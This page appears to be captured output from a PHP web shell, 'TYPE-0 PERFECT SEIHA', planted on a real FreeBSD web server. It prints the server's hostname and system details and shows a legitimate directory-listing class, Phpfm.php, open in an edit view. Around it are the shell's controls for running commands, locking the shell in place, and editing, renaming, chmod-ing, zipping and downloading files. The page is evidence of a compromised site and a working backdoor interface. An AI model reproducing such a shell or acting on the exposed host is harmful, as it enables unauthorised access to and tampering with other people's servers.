TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
download
app
phpfm
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/download/app/phpfm/Phpfm.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Phpfm; /* * Phpfm * @author Jan Pospisil */ use Nette\DirectoryNotFoundException; class Phpfm extends \Nette\Object { private $rootDir; private $dir; private $basePath; private $hideFiles; public function __construct($rootDir, $basePath = '', $dir = '') { $this->dir = trim($dir, '/') ? '/' . trim($dir, '/') : NULL; $this->basePath = rtrim($basePath, '/'); $this->rootDir = rtrim($rootDir, '/'); if (!is_dir($this->rootDir)) throw new \InvalidArgumentException('Directory ' . $this->rootDir . ' is not a directory.'); // if (!is_dir($this->rootDir . $this->dir)) // throw new \InvalidArgumentException('Directory ' . $this->rootDir . $this->dir . ' is not a directory.'); } public function hideFile($filename) { $this->hideFiles[] = $filename; } private function renderBegin() { $out[] = '<!DOCTYPE html>'; $out[] = '<html>'; $out[] = ' <head>'; $out[] = ' <title>Index of ' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . '</title>'; $out[] = ' <meta charset = "utf-8" />'; $out[] = ' </head>'; $out[] = ' <body>'; print implode("\n", $out); } public function renderBody() { $out[] = '<table>'; $out[] = '<tr><td>Name</td><td>Last modified</td><td>Size</td><td>Description</td></tr>'; $out[] = '<tr><td colspan="4"><hr></td></tr>'; $directory = $this->getDirectory(); foreach ($directory as $file) { if ($file->getFilename() == '.' || $file->getFilename() == '..') continue; if (in_array($this->basePath .'/'. $file->getFilename(), $this->hideFiles)) continue; $out[] = '<tr><td>' . $this->link($file->getFilename()) . '</td><td>' . date('Y-m-d H:i', $file->getCTime()) . '</td><td>' . $file->getSize() . '</td><td></td></tr>'; } $out[] = '</table>'; print '<h2>Index of ' . $this->basePath . $this->dir . '</h2>'; print implode("\n", $out); } private function renderEnd() { $out[] = ' </body>'; $out[] = '</html>'; print implode("\n", $out); } public function render() { $this->renderBegin(); try{ $this->renderBody(); } catch(DirectoryNotFoundException $e){ $this->renderError(404); } $this->renderEnd(); } public function renderError($code){ print 'File does not exist'; } public function getDirectory() { if(!is_dir($this->rootDir . $this->dir)) throw new DirectoryNotFoundException($this->rootDir . $this->dir); $dir = new \DirectoryIterator($this->rootDir . $this->dir); return $dir; } private function link($name) { $filename = $this->rootDir . $this->dir . '/' . $name; if (is_dir($filename)) { $dir = $this->dir ? $this->dir : ''; if (array_key_exists('HTTP_MOD_REWRITE', $_SERVER)) return '<a href="' . $this->basePath . $dir . '/' . $name . '/">' . $name . '</a>'; else return '<a href="' . $this->basePath . '/index.php?dir=' . $dir . '/' . $name . '">' . $name . '</a>'; } else { return '<a href="' . $this->basePath . $this->dir . '/' . $name . '">' . $name . '</a>'; } } }
Crotin
Name
Size
Permissions
Modified
User/Group
BaseObject.php
183
0644
2015-08-08 18:27:43
Unknown/Unknown
header.php
55
0644
2015-08-08 18:27:43
Unknown/Unknown
loader.php
268
0644
2015-08-08 18:27:43
Unknown/Unknown
Phpfm.php
3071
0644
2015-08-08 18:27:43
Unknown/Unknown
Tools.php
419
0644
2015-08-08 18:27:43
Unknown/Unknown
Dir.php
170
0644
2015-08-08 18:27:43
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin